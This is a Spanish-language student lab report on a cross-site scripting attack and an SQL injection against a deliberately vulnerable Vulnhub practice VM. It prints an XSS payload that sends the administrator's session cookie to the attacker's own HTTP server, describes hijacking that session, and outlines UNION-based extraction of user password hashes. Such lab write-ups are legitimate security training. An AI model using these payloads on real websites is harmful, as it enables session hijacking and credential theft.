Logo Studenta

ATAQUE CROSS SITE SCRIPTING_miguel-wilberth

¡Este material tiene más páginas!

Vista previa del material en texto

INSTITUTO TECNOLÓGICO SUPERIOR PROGRESO
Organismo Público Descentralizado del Gobierno del Estado
FORMATO DE PRÁCTICA
2023B
	
	Carrera
	Semestre
	Clave de la asignatura
	Nombre de la materia
	Ingeniería en Sistemas Computacionales.
	7
	CID-2101
	Seguridad en la Web
	Practica
No.
	Laboratorio de
	Nombre de la 
practica
	4
	Centro de cómputo
	Cross site scripting(xss)
	Objetivo
	Entrar al usuario de administrador con un ATAQUE CROSS SITE SCRIPTING (xss)
	Nombre del alumno
	Matrícula
	Miguel angel de la cruz centeno.
	04200007
	Wilberth Rafael Madera poot
	04200014
	Estado del arte
	
ATAQUE CROSS SITE SCRIPTING (xss)
	Descripción
	1. Con base a la explicación del Documento hacer el ATAQUE CROSS SITE SCRIPTING (xss) dado por el docente.
	Desarrollo
		
ATAQUE CROSS SITE SCRIPTING (xss)
En esta actividad llevaremos a cabo un ataque Cross site scripting (xss) en el que un actor malintencionado logra inyectar un script malicioso en páginas o aplicaciones web. Para llevar a cabo este ejercicio, se utilizará la máquina virtua-vl “PENTESTER LAB: XSS AND MYSQL FILE” de vulnhub y el navegador FireFox.
Paso 1.
Comenzamos el ataque tratando de inyectar un script básico como <script>alert(‘xss’)</script> , en cada una de las entradas del formulario, con el objetivo de encontrar la entrada que permite ejecutarlo. La figura 2 muestra que en la entrada “Text”, se encuentra la vulnerabilidad.
Figura 1: Formulario de la página.
Paso 2.
Al realizar el submit, el script se ejecutará y mostrará el mensaje “xss”, tal como se
representa en la figura 2. A través de este Script básico, podemos confirmar de manera
concluyente que esta aplicación web es vulnerable.
Figura 2: inyección de un script la entrada “Text” del formulario.
Paso 3.
La máquina virtual alberga un script que actúa como un usuario administrador que inicia
una sesión periódica. Como atacantes, nuestro objetivo es obtener la cookie de la sesión de
este usuario mediante Cross site scripting. Para lograrlo, emplearemos el siguiente script en
la entrada “Text”, tal como se representa en la figura 3. Se debe sustituir la url por tu IP
privada.
<script>document.write('<img src="http:192.168.10.14:8585'+document.cookie+' "/>');</script>
Figura 3: inyección de un script para obtener cookies en la entrada “Text” del
formulario.
Al realizar el submit, se ejecutará el primer blog que subimos al inyectar el script básico
que mostraba un alert de JS, tal como se representa en la figura 4. En la figura 5, se muestra
un icono de archivo desconocido debido a la subida de un blog de naturaleza desconocida.
Figura 4: ejecución de un alert a causa del primer script básico inyectado anteriormente.
Figura 5: Comentario de naturaleza desconocido al inyectar un script de cross site scripting.
Paso 4.
Usando python3, iniciamos un servidor http local en el puerto 8585 con el propósito de
escuchar las solicitudes al mismo y, por lo tanto, recibir las cookies que se transmiten al
servidor a través del protocolo http en el puerto especifico, tal como se representa en la
figura 6.
Figura 6: ejecutando el comando http.server para iniciar un servidor http.
La figura 7 muestra como nuestro servidor local recibe la cookie de sesión del usuario
administrador.
Figura 7: servidor http local recibiendo la cookie de sesión del usuario administrador.
Paso 5.
En el formulario “Login” mostrado en la figura 8, procederemos a realizar una inspección
para ubicar la opción “Storage” en el menú de la herramienta “inspector” del navegador. En
la sección “cookies” cambiamos el campo “Value” por la cookie de la sesión que
robaremos, tal como se representa en la figura 9.
Figura 8: formulario login para iniciar sesión como administrador.
Figura 9: sección de cookies del inspector en el navegador Firefox en la columna Value.
Por último, accedemos a la ruta de /admin, tal como se muestra en la figura 10. Como se
muestra en la figura 10, se representa el formulario de “administrador de mi blog” al cual el
navegador nos redirigirá debido a que habíamos obtenido una cookie de sesión del
administrador.
Figura 10: ruta de administrador.
Figura 10: Formulario de administración del Blog.
Inyeección SQL en Mysql
En esta actividad, llevaremos a cabo una inyección de SQL, el cual tiene como objetivo
explotar la vulnerabilidad que permite la inyección de sentencias desde la URL con el fin
de acceder y capturar información de una base de datos.
En la figura 12 se representa el formulario que, como actores maliciosos debemos
inyectarle sql.
Figura 11: formulario para atacar.
En la barra de navegación de Firefox, ejecutaremos la sentencia “order by” para determinar
el número de campos que tiene la tabla actual, tal como se representa en la figura 13.
Figura 12: sentencia order by para hallar el número de columnas que tiene una tabla.
Ejecutaremos la sentencia que se ve en la figura 14 para visualizar las tablas que forman
parte del esquema de la base de datos. Se puede observar que existe varias tablas, pero
nuestro objetivo es la tabla “users”.
Figura 13: sentencia UNION para visualizar las tablas del esquema de la base de datos.
Ejecutaremos la sentencia que se muestra en la figura 15 para visualizar los campos de la
tabla “users”.
Figura 14: sentencia UNION para visualizar los campos de la tabla “users”.
Por último, ejecutamos la última sentencia que se muestra en la figura 15 para visualizar
los nombres de usuario junto con sus contraseñas de la tabla “users”.
Figura 15: sentencia UNION para visualizar los nombres de usuario junto con sus contraseñas.
Finalmente, convertimos el string en un MD5 hash para saber la contraseña del administrador para después iniciar sesión como administrador, como se muestra en la figura 16.
Figura 16: iniciando sesión como administrador.
	Conclusiones personales
	Miguel Angel: En esta práctica se aprendió a como hacer un ataque de CROSS SITE SCRIPTING (xss), buscado una invulnerabilidad en la página analizando el formulario y probando cada uno de los campos hasta buscar una vulnerabilidad después de buscarlo se hace una inyección de un script en la entrada “Text” del formulario desde ahí se desarrolla el ataque buscando los cookies para que nos de la contraseña después al ultimo paso convertimos el string que nos da y lo convertimos en un MD5 hash desde ahí tenemos la contraseña del administrador.
	Wilberth Madera: En esta práctica pudimos observar y poner en practica de como hacer un ataque de Cross site scripting donde pudimos buscar una vulnerabilidad en la página donde nosotros pudimos analizar en la pagina del formulario y poder comprobar cada uno de los campos hasta que busquemos una vulnerabilidad una ves que pudimos buscarlo le hacemos un ataque inyección de un script en la entrada de los campos que tiene para poder agregar información una vez que terminamos con el formulario pasamos a hacerle una inyección SQL para poder obtener las cookies para poder hacer que nos de la contraseña una vez que tengamos esto nos dará la contraseña en los campos de texto que están para luego pasarlo para poder desencriptar y así tener la contraseña.
	
	Criterios de evaluación
	
	Excelente
	Regular
	Mal 
	Funcionalidad
	Se entregó funcionando la práctica sin errores
	Se entregó parcialmente funcionando la práctica 
	Se entregó sin funcionar
	Tiempo y forma
	Se entregó en tiempo y con el formato adecuado
	Se entregó en tiempo o con el formato adecuado
	No se entregó
	Contenido
	Tiene todos los apartados correctamente escritos
	Casi todos los apartados están correctamente escritos
	No tiene todos los apartados correctamente escritos
	Fotografías o vídeo (evidencia)
	Muestra el funcionamiento completo de la práctica desde el inicio, desarrollo y final en su reporte
	Muestra parcialmente el funcionamiento de la práctica en su reporte
	No hay vídeo o no muestra el funcionamiento de la práctica en su reporte
	Conclusiones
	Tiene conclusiones personalesde cada integrante del equipo de lo que hizo y la conclusión grupal es la misma de todo el grupo
	Tiene conclusiones personales de cada integrante del equipo de lo que hizo o la conclusión grupal es la misma de todo el grupo
	No tiene conclusiones personales de cada integrante del equipo de lo que hizo ni la conclusión grupal es la misma de todo el grupo
	Ortografía
	No tiene ninguna falta ortográfica
	Tiene algunas faltas ortográfica, cada una se le descuenta 1 punto
	Todo el documento esta lleno de errores ortográficos.

Continuar navegando

Materiales relacionados

161 pag.
Portafolio 4 modificado

Progreso

User badge image

Anónimo Xd

74 pag.